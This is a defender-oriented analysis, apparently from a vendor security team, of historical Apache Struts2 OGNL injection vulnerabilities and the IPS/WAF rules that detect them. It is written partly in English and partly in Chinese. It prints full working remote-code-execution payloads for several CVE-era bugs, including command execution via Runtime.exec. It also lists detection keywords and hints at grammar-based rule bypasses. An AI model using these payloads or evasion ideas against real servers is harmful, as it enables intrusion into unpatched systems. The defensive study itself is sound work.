How to view Struts2 historical vulnerabilities from a protection perspective

1. Foreword

Struts2 vulnerability is a classic series of vulnerabilities. The root cause is that Struts2 introduces OGNL expressions to make the framework flexible and dynamic. With the patching of the overall framework improved, it will now be much more difficult to discover new Struts2 vulnerabilities than before. Judging from the actual situation, most users have already repaired historical high-risk vulnerabilities. Currently, when doing penetration testing, Struts2 vulnerabilities are mainly left to chance, or it will be more effective to attack unpatched systems after being exposed to the intranet.

The analysis articles on the Internet mainly analyze these Struts2 vulnerabilities from the perspective of attack and exploitation. As the new H3C attack and defense team, part of our job is to maintain the rule base of ips products. Today we will review this series of vulnerabilities and share with you some ideas of defenders. If there are any omissions or errors, you are welcome to correct them.

2. Struts2 historical vulnerabilities

Study the historical vulnerabilities of Struts2, partly to review the previous ips and waf protection rules. When developing rules, we believe there are several principles:

1. Think from the perspective of an attacker;

2. Understand the principles of vulnerabilities or attack tools;

3. When defining detection rules for vulnerabilities or attack tools, think about false positives and false negatives.

If the security device does not automatically block IP addresses, then the protection rules may be slowly tried out. If the rules only consider public POC rules and are written too strictly, they may be bypassed, so we have this review. Let’s first take a look at the principle of historical vulnerabilities in Struts2.

2.1 Determine whether the website uses the Struts2 framework

Generally, attackers will determine that the website is written in Struts2 before attacking, mainly to see if there are links ending in .action or .do. This is because of the configuration file Struts.xml specifies the suffix

<constant></constant>

of the action. However, after the above configuration file is parsed, the uri without the suffix will also be parsed as the name of the action. As follows:

If the value of the constant extension in the configuration file ends with a comma or has a null value, it indicates that the action can be without a suffix, then the uri without a suffix may also be Built with struts2 framework.

If you use the rest plug-in of Struts2, the request suffix specified by the default struts-plugin.xml is xhtml, xml and json

<constant></constant>

Depending on the suffix, the rest plug-in Using different processing flows, if you request data in json format as follows, the framework uses the JsonLibHandler class to process the output.

Requests ending in xhtml and xml are processed using HtmlHandler and XStreamHandler respectively. Therefore, when testing, if you cannot clearly determine whether the website uses the struts2 framework, especially in the latter two situations, you can use tools to try your luck.

2.2 The principle of Struts2 executing code

The dynamic nature of Struts2 lies in the fact that ongl expressions can obtain the value of running variables and have the opportunity to execute function calls. If malicious request parameters can be sent to the ognl execution process, it will lead to arbitrary code execution vulnerabilities. The execution of ognl expressions is in several classes related to Ognl. After configuring the debugging environment, set a breakpoint on the getvalue or compileAndExecute function of the OgnlUtil class, judge the process of the poc call based on the parameters, and analyze the principle of execution.

2.2.1 S2-045, S2-046

Taking S2-045 as an example, check the payload in the web project directory and it is

content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Click on the interception situation

View the information according to the stack

getValue:321, OgnlUtil (com.opensymphony.xwork2.ognl)getValue:363, OgnlValueStack (com.opensymphony.xwork2.ognl).......evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)translateVariables:171, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:130, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:52, TextParseUtil (com.opensymphony.xwork2.util)......buildErrorMessage:123, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)parse:105, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)<init>:84, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)wrapRequest:841, Dispatcher (org.apache.struts2.dispatcher)</init>

You can locate the cause of the vulnerability according to the stack, check the Dispatcher function, and find that if the content-typ field contains multipart/form-data string, the request will be encapsulated into MultiPartRequestWrapper, and it will go into the process of JakartaMultiPartRequest class

if (content_type != null && content_type.contains("multipart/form-data")) {
     MultiPartRequest mpr = getMultiPartRequest();
     LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
     request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
 } else {
     request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);

If there is an error in processing, the buildErrorMessage function will be called to construct the error message.

try {
     multi.parse(request, saveDir);
     for (String error : multi.getErrors()) {
         addError(error);
     }
 } catch (IOException e) {
     if (LOG.isWarnEnabled()) {
         LOG.warn(e.getMessage(), e);
     }
     addError(buildErrorMessage(e, new Object[] {e.getMessage()}));
 }

The subsequent calling process is buildErrorMessage --->LocalizedTextUtil.findText --->TextParseUtil. translateVariables ---->OgnlUtil.getValue. The patch modification is that buildErrorMessage does not call the LocalizedTextUtil.findText function, so The input submitted after the error is reported cannot reach the ognl module. S2-046 also uses the same module of 045. Overall, 045 and 046 are vulnerabilities that appeared in the first half of 2017. The vulnerabilities use the framework itself and have few restrictions. They are relatively easy-to-use Struts2 vulnerabilities (although successful rate is also very low). It can be seen that a large number of automated scanners or worms on the network now come with 045 and 046. IPs devices can receive a large number of such logs every day.

2.2.2 S2-001

往前看，比较好用的漏洞中比较有代表性的有S2-001(S2-003,005,008年代比较久远，后来出现了比较好用的新漏洞，所以这些漏洞用的人很少，对应Struts2的版本也很低)，001是Struts2框架最刚开始出现的第一个漏洞，跟045的执行过程也比较接近，都是经由TextParseUtil. translateVariables执行OGNL表达式，TextParseUtil是文本处理的功能类。不同的是S2-001是在把jsp生成java类的时候，会对表单提交的参数调用evaluateParams从而调用文本处理类的OGNL求值功能。调用堆栈如下：

translateVariables:72, TextParseUtil (com.opensymphony.xwork2.util)findValue:303, Component (org.apache.struts2.components)evaluateParams:680, UIBean (org.apache.struts2.components)end:450, UIBean (org.apache.struts2.components)doEndTag:36, ComponentTagSupport (org.apache.struts2.views.jsp)_jspx_meth_s_005ftextfield_005f0:17, quiz_002dbasic_jsp (org.apache.jsp.validation)…………….Payload: %25%7B%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23response%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23response.println(%23req.getRealPath('%2F'))%2C%23response.flush()%2C%23response.close()%7D

提交就能触发漏洞

2.2.3 S2-016

接着是S2-016，以及S2-032,S2-033,S2-037，这几个漏洞比较接近，其中S2-016是比较好用的，由于年代太过久远了，现在已经几乎不可能利用成功，但是这个漏洞由于太经典，还是值得看看。

获取路径的Payload是:

redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D

直接在uri后面跟redirect标签

 调用栈：

getValue:255, OgnlUtil (com.opensymphony.xwork2.ognl).......translateVariables:170, TextParseUtil (com.opensymphony.xwork2.util).......execute:161, ServletRedirectResult (org.apache.struts2.dispatcher)serviceAction:561, Dispatcher (org.apache.struts2.dispatcher)executeAction:77, ExecuteOperations (org.apache.struts2.dispatcher.ng)doFilter:93, StrutsExecuteFilter (org.apache.struts2.dispatcher.ng.filter)internalDoFilter:235, ApplicationFilterChain (org.apache.catalina.core)

代码注释意为， 在Struts2框架下如果mapping能直接获得结果，就调用结果对象的execute函数。

Uri标签中的redirect，对应的是ServletRedirectResult这个结果，构造函数如下，是DefaultActionMapper构造的时候顺带构造好的，

public DefaultActionMapper() {
     prefixTrie = new PrefixTrie() {
         {
             put(METHOD_PREFIX, new ParameterAction() {
                 public void execute(String key, ActionMapping mapping) {
                     if (allowDynamicMethodCalls) {
                         mapping.setMethod(key.substring(
                                 METHOD_PREFIX.length()));
                     }
                 }
             });
 
             put(ACTION_PREFIX, new ParameterAction() {
                 public void execute(String key, ActionMapping mapping) {
                     String name = key.substring(ACTION_PREFIX.length());
                     if (allowDynamicMethodCalls) {
                         int bang = name.indexOf('!');
                         if (bang != -1) {
                             String method = name.substring(bang + 1);
                             mapping.setMethod(method);
                             name = name.substring(0, bang);
                         }
                     }
                     mapping.setName(name);
                 }
             });

而这个ServletRedirectResult结果在解析Uri的时候，就会被设置到mapping对象中，调用栈如下：

execute:214, DefaultActionMapper$2$3 (org.apache.struts2.dispatcher.mapper)handleSpecialParameters:361, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)getMapping:317, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)findActionMapping:161, PrepareOperations (org.apache.struts2.dispatcher.ng)findActionMapping:147, PrepareOperations (org.apache.struts2.dispatcher.ng)doFilter:89, StrutsPrepareFilter (org.apache.struts2.dispatcher.ng.filter)

后续ServletRedirectResult的execute函数执行后，经由conditionalParse调用文本处理类TextParseUtil的translateVariables函数进入Ognl的流程，代码得到执行。

2.2.4 S2-032,S2-033,S2-037

S2-032是框架本身漏洞，不过利用有个前提条件，需要开启动态方法执行的配置

<constant></constant>

S2-033和S2-037则是rest插件漏洞，一般来说插件漏洞利用还是比较困难的，因为开发网站的时候不一定会用到这个插件。S2-032的payload如下：

http://localhost:8080/s2032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ipconfig

跟S2-016一样，也是uri中带特殊标签，其漏洞点也在DefaultActionMapper类的构造函数， struts.mxl文件中配置了DynamicMethodInvocation后，构造mapping的时候会满足if语句，设置method属性为冒号后的OGNL表达式

public DefaultActionMapper() {
     prefixTrie = new PrefixTrie() {
         {
             put(METHOD_PREFIX, new ParameterAction() {
                 public void execute(String key, ActionMapping mapping) {
                     if (allowDynamicMethodCalls) {
                         mapping.setMethod(key.substring(METHOD_PREFIX.length()));
                     }
                 }
             });

在调用完Struts2默认的拦截器后，进入DefaultActionInvocation的调用函数invokeAction，后者直接调用Ognl表达式的执行。

S2-032和S2-037也是通过这个步骤得到执行的，不同的是这两漏洞是基于rest插件的。rest插件使得struts2框架的请求具备restful风格，参数直接放在uri里面提交，而非问号后面的字符串。如下为正常的请求：

漏洞利用payload为：

http://localhost:8080/s2033/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=vulnerable

payload将正常的edit方法替换成了ognl代码。rest插件使用的是RestActionMapper来解析uri，生成mapping，在其getMapping函数内，解析uri设置了method变量，

int lastSlashPos = fullName.lastIndexOf(47);
 String id = null;
 if (lastSlashPos > -1) {
     int prevSlashPos = fullName.lastIndexOf(47, lastSlashPos - 1);
     if (prevSlashPos > -1) {
         mapping.setMethod(fullName.substring(lastSlashPos + 1));
         fullName = fullName.substring(0, lastSlashPos);
         lastSlashPos = prevSlashPos;
     }

而后跟032一样，也是通过ognl表达式来调用这个方法的时候，执行了恶意的命令

S2-037跟S2-032漏洞点一致，是对补丁的绕过，应该是Struts2.3.28.1没有修复好。

这两个漏洞是16年的，也需要非常好的运气才能利用，毕竟依赖rest插件且年代久远。

2.2.5 S2-052

这个漏洞跟传统的Struts2漏洞不同的是，并不是利用ognl表达式执行的代码，而是使用unmarshal漏洞执行代码。缺点就是也要用到rest插件，并且对jdk版本有要求，要大于等于1.8，使用JDK 1.7测试报错如下

使用JDK 1.8测试能正常执行命令。

由于使用的不是ongl表达式执行的漏洞，防护思路也跟Struts2的常规防护有区别，后续可以跟weblogic系列漏洞合并分析。

2.2.6 S2-057

S2-057的代码执行有2个条件：

1、需要开启alwaysSelectFullNamespace配置为true，一般提取请求中uri的时候，会对比配置文件中的namespace，匹配上了选取最长的一段作为此次请求的namespace。但是如果这个参数设置为true，就不做对比，直接提取action前面的所有字符串作为namespace。

protected void parseNameAndNamespace(String uri, ActionMapping mapping, ConfigurationManager configManager) {
     int lastSlash = uri.lastIndexOf(47);
     String namespace;
     String name;
     if (lastSlash == -1) {
         namespace = "";
         name = uri;
     } else if (lastSlash == 0) {
         namespace = "/";
         name = uri.substring(lastSlash + 1);
     } else if (this.alwaysSelectFullNamespace) {
         namespace = uri.substring(0, lastSlash);
         name = uri.substring(lastSlash + 1);} else {

例如payload使用

GET /s2057/${(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.setExcludedClasses('java.lang.Shutdown')).(#ou.setExcludedPackageNames('sun.reflect.')).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec('calc'))}/actionChain1

标红的整体ognl攻击表达式会被提取成为namespace。

2、使用了服务器跳转的结果，这里的要求是配置了actionChaining类型的action，在配置action结果的时候，使用redirectAction(ServletActionRedirectResult类),chain(ActionChainResult类),postback(PostbackResult类)作为结果类型。

<package name="actionchaining" extends="struts-default">
    <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
       <result type="redirectAction">
          <param name="actionName">register2
       </result>
    </action>
    <action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2">
       <result type="chain">xxx</result>
    </action>
    <action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3">
       <result type="postback">
          <param name="actionName">register2
       </result>
    </action>
 </package>

这样在处理result结果的时候，会把namespace送到ognl引擎执行。例如redirectAction(ServletActionRedirectResult类)的情况，分发器disptacher会根据action的结果，把流程传给ServletActionRedirectResult的execute函数，后者通过setLocation设置302跳转的目的地址到自己的location变量(包含了ognl恶意代码的namespace)，

public void execute(ActionInvocation invocation) throws Exception {
     this.actionName = this.conditionalParse(this.actionName, invocation);
     if (this.namespace == null) {
         this.namespace = invocation.getProxy().getNamespace();
     } else {
         this.namespace = this.conditionalParse(this.namespace, invocation);
     }
 
     if (this.method == null) {
         this.method = "";
     } else {
         this.method = this.conditionalParse(this.method, invocation);
     }
 
     String tmpLocation = this.actionMapper.getUriFromActionMapping(new ActionMapping(this.actionName, this.namespace, this.method, (Map)null));
     this.setLocation(tmpLocation);
     super.execute(invocation);
 }

然后调用父类ServletRedirectResult的execute函数  ----> 调用父类StrutsResultSupport的execute函数

public void execute(ActionInvocation invocation) throws Exception {
     this.lastFinalLocation = this.conditionalParse(this.location, invocation);
     this.doExecute(this.lastFinalLocation, invocation);
 }
 
 protected String conditionalParse(String param, ActionInvocation invocation) {
     return this.parse && param != null && invocation != null ? TextParseUtil.translateVariables(param, invocation.getStack(), new StrutsResultSupport.EncodingParsedValueEvaluator()) : param;
 }

其中conditionalParse是条件调用TextParseUtil.translateVariables进行ognl的执行流程，这个条件是满足的，参数就是之前设置的location变量，因此代码得到执行。

2.3Struts2沙盒防护和绕过

Struts2的每一轮新的漏洞，既包含了新的Ognl代码执行的点，也包含Struts2的沙盒加强防护的绕过，而每一轮补丁除了修复Ognl的执行点，也再次强化沙盒，补丁主要都是通过struts-default.xml限制了ognl使用到的类和包，以及修改各种bean函数的访问控制符。最新版本Struts2.5.20的Struts-default.xml，限制java.lang.Class, java.lang.ClassLoader，java.lang.ProcessBuilder这几个类访问，导致漏洞利用时无法使用构造函数、进程创建函数、类加载器等方式执行代码，限制com.opensymphony.xwork2.ognl这个包的访问，导致漏洞利用时无法访问和修改_member_access，context等变量。

<constant name="struts.excludedClasses" value="
             java.lang.Object,
             java.lang.Runtime,
             java.lang.System,
             java.lang.Class,
             java.lang.ClassLoader,
             java.lang.Shutdown,
             java.lang.ProcessBuilder,
             com.opensymphony.xwork2.ActionContext"></constant>
 
 <!-- this must be valid regex, each &#39;.&#39; in package name must be escaped! -->
 <!-- it&#39;s more flexible but slower than simple string comparison -->
 <!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / -->
 
 <!-- this is simpler version of the above used with string comparison -->
 <constant name="struts.excludedPackageNames" value="
             ognl.,
             javax.,
             freemarker.core.,
             freemarker.template.,
             freemarker.ext.rhino.,
             sun.reflect.,
             javassist.,
             org.objectweb.asm.,
             com.opensymphony.xwork2.ognl.,
             com.opensymphony.xwork2.security.,
             com.opensymphony.xwork2.util."></constant>

调试时，可以对SecurityMemberAccess的isAccessible函数下断点观察ognl的沙盒防护情况。

public boolean isAccessible(Map context, Object target, Member member, String propertyName) {
     LOG.debug("Checking access for [target: {}, member: {}, property: {}]", target, member, propertyName);
     if (this.checkEnumAccess(target, member)) {
         LOG.trace("Allowing access to enum: {}", target);
         return true;
     } else {
         Class targetClass = target.getClass();
         Class memberClass = member.getDeclaringClass();
         if (Modifier.isStatic(member.getModifiers()) && this.allowStaticMethodAccess) {
             LOG.debug("Support for accessing static methods [target: {}, member: {}, property: {}] is deprecated!", target, member, propertyName);
             if (!this.isClassExcluded(member.getDeclaringClass())) {
                 targetClass = member.getDeclaringClass();
             }
         }

三、网络侧Struts2的防护思路

一般的ips、waf规则，可以从两个方向进行检测，一个是检测漏洞发生点，另外一个是检测利用的攻击代码。Struts2有一些老的漏洞，很多是url中或者post表单中提交ognl代码，从漏洞点来看并不是太好做检测，所以一般的检测规则还是检查ognl代码，配合漏洞发生点。结合payload来看，ognl代码的构成，技术性最强的ognl代码是045和057的两个payload，还是从045的payload来看

content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

OgnlContext的_memberAccess变量进行了访问控制限制，决定了哪些类，哪些包，哪些方法可以被ognl表达式所使用。045之前的补丁禁止了_memberAccess的访问:

#container=#context['com.opensymphony.xwork2.ActionContext.container'])

payload通过ActionContext对象得到Container:

#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class

然后用Container的getInstance方法获取到ognlUtil实例:

#ognlUtil.getExcludedPackageNames().clear()#ognlUtil.getExcludedClasses().clear()

通过ognlUtil的公开方法清空禁止访问的类和包，后面则是常规的输出流获取和函数调用。这个ognl的payload比较典型，可以检测的点也比较多。

一般来说，ips或者waf的Struts2规则可以检测沙盒绕过使用的对象和方法，如 _memberaccess，getExcludedPackageNames，getExcludedClasses，DEFAULT_MEMBER_ACCESS都是很好的检测点，防护规则也可以检测函数调用ServletActionContext@getResponse（获取应答对象），java.lang.ProcessBuilder(进程构建，执行命令)，java.lang.Runtime(运行时类建，执行命令)，java.io.FileOutputStream（文件输出流，写shell），getParameter（获取参数），org.apache.commons.io.IOUtils（IO函数）。不太好的检测点包括com.opensymphony.xwork2.ActionContext.container这种字典的key或者包的全名，毕竟字符串是可以拼接和变形的，这种规则很容易绕过。其他时候规则提取的字符串尽量短一些，避免变形绕过。

The test found that some waf product rules only detect one of the two strings DEFAULT_MEMBER_ACCESS and _memberaccess, which looks very crude and has the risk of false positives. However, the detection effect is still good. Due to its flexibility, Ognl expressions exist Some deformation escapes, but it is difficult for vulnerabilities after S2-016 to bypass the sandbox and avoid these two objects and related function calls. For bypassing, you can refer to the ognl.jjt file. This file defines the lexical and grammatical structure of the ognl expression. The relevant parsing code of ognl is also generated based on this file, so general bypassing can also be carried out based on this file.

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